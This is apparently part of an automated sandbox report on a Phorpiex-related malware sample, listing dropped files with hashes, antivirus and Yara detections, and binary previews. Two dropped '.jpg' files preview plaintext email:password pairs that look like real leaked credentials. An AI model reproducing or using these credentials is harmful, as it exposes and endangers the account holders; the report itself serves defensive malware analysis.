                                                                                                                                                                                                                                                                                                                                                    Preview:"&.r..QO.<..6.....a....l-P-.....2.Q.....'.{......&..%.&..../.a..gOlQ.hF%..].S..MS1q.1.h.h*..ay.pN.tq..{..Pp.e..........y.N.#.F...7.z/.i/..J....9TNTz{1b.x K..n?C..c.*..aV.%ze.t.........LB...R.G`...|.n.1....h4.S;........tMTR%w.H&.Q.f.A.}:|..x'..GU n8..)I.sE..6..4%cX}....T....m.N.....*....{.X..j....NE2...}E..F...eN..U.B..y...i.h.........t..k.........q....8.\SW.."...8..]g.[....J...E.$p....=.).J.o....m..R...U..O'...{C....M._dg.*.k./.)...2H.c%Vt.DLZ..R...vNr..<(..Ww@.:N_..1.3...=|`6.7..V..zn.8........y......ti.;..' ........-fE....$..;.'..v.....Rw....h.*.[...4.D.J..`..?..e!..|5..<....r*.(.d.Q...j..i=..v.!.Xd....)j...k.....q{...Q....0s.z.._..R...X......n7}.ft...@....LO...:]0A.b.!.3W....?.......$.<FLHZa|.]....Mj..>U.l...)..u..s..\..B...3.].b..0}..vd.w./..9.! ;........#.W..QQ......Y3..c.yF...k.1,O.!.0.D.|L..~G....9..gy^.&..xl.!..y7...................?....6jI7m....).%cu.J..I.l..Ik^nR{|6N<.uUm...c]...e..#0.I.{.w..p....a.[v;..}.....um2.#.

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\4[1]

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):15616
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):7.9876889733014105
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:384:AoDQ6Y/2sC/bXSFPa1Tzt8Z0O370DDz616jvIGgR8:06buAeOOG616jbx
                                                                                                                                                                                                                                                                                                                                                    MD5:9EFEE274321FE1695126B8235E62A343
                                                                                                                                                                                                                                                                                                                                                    SHA1:F2576A38F49D6314447C2B75F54D1C929F784BF6
                                                                                                                                                                                                                                                                                                                                                    SHA-256:44A47B501ECC6CE9A7A64AB1D897DF9BF1BEDFD118CE8B5CEAFA7A70EA9E4E2C
                                                                                                                                                                                                                                                                                                                                                    SHA-512:349620E113BD45AD1C82B01495691E19924DF6BECAF4468C0AC12F4D23B056FB4B258DEEBB5F375D4920C7789F08BB2EEBC032CEDC64B82D835B9F3C543054A6
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:0...;F.o/..~..1f@..'.+.g>...)..H.b. ]o...M2..{..z[w..$..z.C.........W.7..V......?6........l.Bg..I.P.P.U...N..wy..)...f.....C5>9.....b.0..9x.P.P..]."....7`..0.Xe.f.._.j.3.:..[.#G....7*..W..(5sq...\....V.(..P....R.I...W\.x..yX.E..H.n.....gQ7...b.T.e.3..:.i..R...V..;................. #.M4.{.AZ.....!%gZ...n....8 ...U..E....>dB..........*...|{.O.W..<..z"O..#.A......5.&.if..?.|.......BB....,?Ww........F..@.....`d....R...2.|....J`..p....kV.~2E....>.#..^..Z.!fV(....ft.k!...H..Etz.{q....j....73.o.).E.B9..@.W+7.~...1|s.........\..J..m...<:Z.%...J.{..Z"<...5.0.0Rz..->....N....r.....-....je....n.........0ySGb! ../.,.).."..@....=...B.....&..TH..4......;./4]a..f..,..X.*A......1.....0....nKY...p.W.....B.p.v...M.z.!].Ld.d...?..@O...>..q...p[.OJ.h.5M|.v.....>....Q.P.D.L...33z....q[,.............W`...5....{.....).;.r....".kCG~)..0(.x..Z..W..iH...-.....?.6.l......?.u....M...7.....6.....{2...o7..~..P..i.kd.*..Z.s.?...#.......A].#vf ....,.......(....4|

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\5[1]

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):79104
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):7.997784964928734
                                                                                                                                                                                                                                                                                                                                                    Encrypted:true
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:1536:/XrygStcNCNfktTAn/TN+Syhopeohusnp+uMZJYambhBGx4Q2lbpuXJ+ARGUDc:vunGYfktsLN+Svpeozp4ZJNmbXsL04Xs
                                                                                                                                                                                                                                                                                                                                                    MD5:4228D3ED155A78AF4D2C4C3BDD60E8A3
                                                                                                                                                                                                                                                                                                                                                    SHA1:C6CA877AB5732319D4C7B89E4C1AC63538DB7E30
                                                                                                                                                                                                                                                                                                                                                    SHA-256:E6B30621F092DFDFF87C0E5587554B3FE9F4BAEED56AB4C0F6AEF0316532A26D
                                                                                                                                                                                                                                                                                                                                                    SHA-512:2DFE5D15C7E34F92AB07053F8B0EC9FD767BF3948EB31B8C147ABB64017AA5D4AFB46AA5CEA53C548E3714943756404DDD095E1DF7A80352C5FE6E8497FCE5F2
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:4M~.'..>..u2}!zkG...T.G.p.@..y.........}.../.......u..u.*cX......o...- .0.DH.......,........O..`...R$.j..U..t.H..W`......`..?....Y.R.-...m.,QH.=.+........Z*+%.R........`.E^..;...3w..n.S..!.]..1K..h.^....+VBD.F..R.vL.p........L.'.......M...<.!n".5..{.O.RP..yk...dO..b..;.....7ikD\.n}_<JU.../ng>..........3.....B.{.O_.....o...".(......KH...10...`...+.H5...u...(iLf{.1)....p...>....N.P.9...GBN&:D7R..D........J}..EB.....j...P>.>N..<.0<4.....F....5R_..o./...+..:..5.%.....@.V.,h.2yF..W<.T&..~.W..9..~.a.....-..F..p.,)5R.Qt..RhJS..k...#..;6.<.?y....\...g.|ad..m..t..+.E....q..]g.h.~.0.IA....V.C....\}p6....*..a.L.@S....4T..L.E.r...6.D8,%c....*.'.....g.!.[K.6..7).......-..*.q...q...)....0....-.)+.fV.z.."K5hL|,..B./...7].T....G.A^.......R.E..,..,.=."x.R..c>u..%n...RAn3.]U@..G.F..5]D...V..:..J7p..ak..?...Q...N..s?3^o.tTDQ....0..\n.ZPS.:..Z..>.?...c..._...........5\..<).9.D20.Q.E,W..........O.=..6T~.(sJ.f.f"SG.p.r.q..|.S..D.wX\]/.y.....yF..h.h1.~.b..

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):45177
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.072498410577891
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:768:PkWNxV3IpNBQkj25h4iUxuaV7frRJv5FVvCxHBG75ard35n9QOdBQNWzktAHkaN2:PkAxV3CNBQkj25h4iUxuaV7flJnVv6HA
                                                                                                                                                                                                                                                                                                                                                    MD5:79EA83B42F934BED47A1B30D85AB0999
                                                                                                                                                                                                                                                                                                                                                    SHA1:D5AD1B90152F5C698A714FC8044C52571EFCD57B
                                                                                                                                                                                                                                                                                                                                                    SHA-256:9DDA715941C069B34C2052F8902BD6FE9C4956DD2F9E8713F8AD72032BD9662B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:6BDD1F73F199EE5A8BC2EB6FF1B13197E1303B2548932F071EA67A657B5D0056605C5FFC3BAEC02AFDF29A5425BCFA003BA607041A462C2A851B59AF0999567C
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:PSMODULECACHE.F..._.>....?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PKI\PKI.psd1........Export-Certificate........Get-CertificateNotificationTask........Get-PfxData........New-CertificateNotificationTask........Import-PfxCertificate....#...Set-CertificateAutoEnrollmentPolicy........Export-PfxCertificate........Switch-Certificate........New-SelfSignedCertificate....%...Get-CertificateEnrollmentPolicyServer....%...Add-CertificateEnrollmentPolicyServer....(...Remove-CertificateEnrollmentPolicyServer........Import-Certificate........Test-Certificate........Get-Certificate...."...Remove-CertificateNotificationTask....#...Get-CertificateAutoEnrollmentPolicy........_t.....q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...R

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1288
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.369952913333072
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:24:3OPpQrLAo4KAxX5qRPD42HOoVZe9t4CvKuKnKJRSF8PYY:+PerB4nqRL/Hvfe9t4Cv94aR48AY
                                                                                                                                                                                                                                                                                                                                                    MD5:7E9B52E43E78B05928B665A6F638F5B9
                                                                                                                                                                                                                                                                                                                                                    SHA1:91CA8B0B679A0CFFBC0FE9B77ED3DA0583DC8928
                                                                                                                                                                                                                                                                                                                                                    SHA-256:1305AF2BCC0B91B4F0D123A4194F443ADC02DB40C5CC2FCDA44BA65ACBC723A5
                                                                                                                                                                                                                                                                                                                                                    SHA-512:439B750D5C22C443FBAD761E750ED0FCDC887879FB69629B4C98513CD009ADBCC5A512422B8DC27CC0B81D34E2D4CD03560DFAED9DB82AEE2CF711A6F3B90D6B
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:@...e.................................5.!............@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\120477188.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):6656
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):4.44747679224659
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:96:k6xZCY3xhtz6ANlWol7Oo0GGktPtboynun9CtVY:k6xZCghtzFL7npP1oynW86
                                                                                                                                                                                                                                                                                                                                                    MD5:03EE7B245DAEEBBF2CCAA1690A9FC8FC
                                                                                                                                                                                                                                                                                                                                                    SHA1:561710D7F8C05FF5C2A3A384BE5DE6E023E41AC4
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6BC23B9878978A2F3C507ACFDAD0B2244A8BDA5143359613DB039CB21D9C1228
                                                                                                                                                                                                                                                                                                                                                    SHA-512:F64163899218B24EE1DD59748E024E0106D83DBEA3E31C0F05B1EFB8558A47C232DBBCD1463A121C63E2DFF2743887925238D8BF6EAB0B9EE0292386918E8E55
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 88%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......RB...#xT.#xT.#xTy<|T.#xT.?vT.#xTy<rT.#xT1..T.#xT.#yT2#xT.[.T.#xT.[.T.#xTRich.#xT................PE..L......c..................................... ....@..........................`............@.................................l#.......@.......................P....................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...<....0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\1258033132.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\120477188.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):2074112
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):7.965515658687771
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:49152:mY68/ly5eVvXjoSQLCbmxl2yoCBd+Q2S:mi/lgeZTo4UAyoCBdaS
                                                                                                                                                                                                                                                                                                                                                    MD5:7B0633AE007D5D202C33D505D580D4B7
                                                                                                                                                                                                                                                                                                                                                    SHA1:3FCC4BD2AF14B385104C27D8A192C938295BBA3E
                                                                                                                                                                                                                                                                                                                                                    SHA-256:84984B4AE961524FA29008D142C78B6A859B451BDD21CEDC04CC25CAF4256116
                                                                                                                                                                                                                                                                                                                                                    SHA-512:E1038EEAA16CC1A8C514870D2F3892C7A68F083FE7F9751906E75D93C079A51190F61E153C145302EC0C3C761DE5B5E1803A7338041665D4584214A11048647F
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 84%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...G.nc...............&.......................@............................. ...........`... ....................................................... ....................... .............................`...(...................D................................text...H...........................`..`.data...`...........................@....rdata.. ............r..............@..@.pdata..............................@..@.xdata..............................@..@.bss....8................................idata..............................@....CRT....h...........................@....tls................................@....rsrc......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\3100982464396.jpg

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\311029678.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):318059
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.090583596441228
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:6144:wuX84ckhUlGZKtqNRFgfjWe4hPM598ae8FL9g1tlK5lm:wo84xhUELYjWrhPNaeX1irm
                                                                                                                                                                                                                                                                                                                                                    MD5:61486DC6A0232B8ACBA3DF1CB0BE6455
                                                                                                                                                                                                                                                                                                                                                    SHA1:24D24D8357E8D16A2A2F0C9449CC0F823F326B66
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6E1E2461B998A6A7C697DF9C9A76366C4809EE14CDD8A21AA1335CB7933E75F0
                                                                                                                                                                                                                                                                                                                                                    SHA-512:8D8ECC01BA412953B8F12D8397691444C2C836FD6815BE2EC9E7044A8CC6A4C4675E6A72BE20EA628FF38781637C211BEAE23F3DE222D7922962997CDB675271
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:name@gmail.com:FyQKRj2w.gamerfusetv@gmail.com:zxcvbnm2549.mdfarook78@gmail.com:9842630191.combs.derek@gmail.com:Hellraiser.vitaliybudda@gmail.com:bu_dda_1988.chance5alexander@gmail.com:broncos24.adedamolabs@gmail.com:michelle140120$.matrixyuha01@gmail.com:7298231ii.harperb@hotmail.ca:Harper17.anshuman@gmail.com:gies7618221*.manszoank@gmail.com:SUZANTOo811.brian.mcgahee@gmail.com:1202xx84.muddyeddy02@gmail.com:Israelite2020!.chekotono@gmail.com:liston123.bengstrom32@gmail.com:Asa12345!.slubub@gmail.com:741852qwe.satilmisar@hotmail.com:Sar205447.richken.tumbaga@gmail.com:kyokushin1123$.belluccidamiano@gmail.com:Slart1bartfastK.marcos3330@gmail.com:nina25nina@.d.morena566@gmail.com:starwars.accountearnstar@gmail.com:r1lwa2wayo.abhijn.gutta@gmail.com:campyv-bywka9-mifnyR.aminemino059@gmail.com:abidimed1998.kunaldhim@gmail.com:subscribe.kofifunds@gmail.com:11Killerkiller..kristopf@gmail.com:Gold(42).rocky6@gmail.com:Quniak1.cabbagescondom@yahoo.com:Cabbages1.prasanth@gmail.com:myaaron7513.h

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\311029678.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):15360
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.78390657942841
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:192:Ikxd9drHgnflra5g6sHgllgjhNKUSfszw5gFPheP1oynnv8U9jHS:Px+rWCGgj2sq85I19v8U9jy
                                                                                                                                                                                                                                                                                                                                                    MD5:1E5B4FEC45A2CEAEFFD766AEF29D8A27
                                                                                                                                                                                                                                                                                                                                                    SHA1:DB82DF3403E2AF69C7A8C86702F9FC3FC2C03AD7
                                                                                                                                                                                                                                                                                                                                                    SHA-256:2327BBE4D904AF3151B5843D61815C056C9583C0E97A88148A25B8E15F6383E4
                                                                                                                                                                                                                                                                                                                                                    SHA-512:38930B32B3AE31C3311326EEE6B9A857E5AF7A9CC8529AF74944459A8E3BF434B989DC76AE46E91F77C8E129C816E85EDF878BBAF31433AB652275D9381CE5C4
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                                                                                                                                    • Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: C:\Users\user\AppData\Local\Temp\311029678.exe, Author: Florian Roth (Nextron Systems)
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 90%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D`_...1...1...1.'.J...1...0.K.1.o.5...1...?...1.o.;...1..y....1..y....1.Rich..1.........PE..L......d............................\).......0....@.......................................@.................................d=.......`.......................p.......................................................0..@............................text............................... ..`.rdata.......0....... ..............@..@.data...<....P.......4..............@....rsrc........`.......6..............@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\587025894.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):78848
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):6.388781127199898
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:1536:T3Mz8YI7OdQZ16vXROFon3rXMOnfF+OeeeeeeeeWeeeee:4wYuIPROKnLMOnfF
                                                                                                                                                                                                                                                                                                                                                    MD5:15DB9F43813112507A5CBD9B4F5E1FE9
                                                                                                                                                                                                                                                                                                                                                    SHA1:1A8FF6CC9C572E1D52B2E7DB582178A9D5208E17
                                                                                                                                                                                                                                                                                                                                                    SHA-256:4531E904B29A577272454DE8F8084D86FBE2903F16C00D2FA63D1FFE5244ECC1
                                                                                                                                                                                                                                                                                                                                                    SHA-512:7727FA803F62CBA951B24539929F6D400B1D8FCEA0723CBADFCA7105E92007DB48760FDD617C2EC1BCA04FE34AC2227D4D895FD62406BB7B82AED8D07C48800F
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                                                                                                                                    • Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\587025894.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 83%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c1.Y._.Y._.Y._.!p^.[._.....[._.....X._...P.[._.~.2.]._.Y.^..._.~.$.L._.Pz.~._.Pz.X._.RichY._.........PE..L...sS.d.....................`.......]............@..........................`..............................................| .......................................................................................................................text...L........................... ..`.rdata.../.......0..................@..@.data...@/...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\6235107758290.jpg

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\75601095.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:ASCII text
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):318535
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.074051715316872
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:6144:fLjf3wyljQwBYHGXJezc4yLzoaP2Ra8BmB4ym55Hu8c5p:XfAyeQoOeToop98
                                                                                                                                                                                                                                                                                                                                                    MD5:6A577DA94F496F37BE894EF328B761AB
                                                                                                                                                                                                                                                                                                                                                    SHA1:403F48E471CD5E55F621CA7FE92FF6F019736EE8
                                                                                                                                                                                                                                                                                                                                                    SHA-256:8D2F523E1360FB34A57D1C9FD23330B0B2662BFFFBA3FB090B38E14A92A706C3
                                                                                                                                                                                                                                                                                                                                                    SHA-512:ED73160FB14AAE3B742222484E8918461D6C61497F992209CBA83E71323BF07AB993392D3FFF69984FE67393F071BFC4C6254743893A3D224C35DF8AE4AC522F
                                                                                                                                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                                                                                                                                    Preview:hoodjk.velizchinchayjesus@gmail.com:PrintedVariety.sebaslox04@gmail.com:Necesitosabercuantomecues.o165027094@gamil.com:chenaoa.mctelanrqao@outlook.jp:mctelanrqao.jeanpaulbentz@gmail.com:LUGROT.stormofwars951@gmail.com:sombiya.williamsmargarettrosie1967@gmail.com:Margatet@xh.profeloly@maristsalajuela.org:Martin87654345678.bobdanny00@yahoo.com:pogboom38.ahmedyounis331@icloud.com:_havenolife_.jacielrenteria24@gmail.com:Pngde.hggch@gmail.com:cfchgj.prathameshdhote80@gmail.com:offfuckhg.benmohamed.livio@gmail.com:lbm49.vf0dozf@gmailnator.com:puja--_-_---.jaradtapit144@gmail.com:Jah144.like-2-have-fun@hotmail.com:Whosinterested2.mahanbi2007t@gmail.com:kmahanm.irasemacabrera6@gmail.com:chapa2020.amamo8315@gmail.com:shaadoow00.reneraap@hotmail.com:sexbeast1.lolxdsanti@outlook.com:sariafn.rafael.fausto17@gmail.com:Hamster-92220.sodarohan8@gmail.com:rohadssolvx.faster99111@gmail.com:san4o0.fabio.matticoli@gmail.com:fabiomatticoli.986081825@qq.com:gfzcvbbb.vandersonnunis0@gmail.com:xxxoooyy.elfra

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\75601095.exe

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):15360
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):5.784437372939597
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:192:ISxd9drHgnflra5g6sHgllgjhNKUSfszw5gJTVheP1oynnv8U9j8S:px+rWCGgj2sqkTzI19v8U9jt
                                                                                                                                                                                                                                                                                                                                                    MD5:24D8F06054F04FA1775D81B87931EFDB
                                                                                                                                                                                                                                                                                                                                                    SHA1:E61A5EA7BCCC9C113A489BFA0F9DDBA72134F72A
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6DE830FAC298329FBD85648300001C32D044BC7CBCC28E1F40F015B30B28429A
                                                                                                                                                                                                                                                                                                                                                    SHA-512:8131FB442AA3DD1FBCF12AC08F80C8ABF7ACE4BC4589121F30AE3B161C604F7811ECC9C37732369E9A0E1CAC1B41FB8C7FE2574BBF0C28A79EB8B110D5793915
                                                                                                                                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                                                                                                                                    • Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: C:\Users\user\AppData\Local\Temp\75601095.exe, Author: Florian Roth (Nextron Systems)
                                                                                                                                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D`_...1...1...1.'.J...1...0.K.1.o.5...1...?...1.o.;...1..y....1..y....1.Rich..1.........PE..L...GQ.d............................\).......0....@......................................@.................................d=.......`.......................p.......................................................0..@............................text............................... ..`.rdata.......0....... ..............@..@.data...<....P.......4..............@....rsrc........`.......6..............@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1f0erat0.dul.psm1

                                                                                                                                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
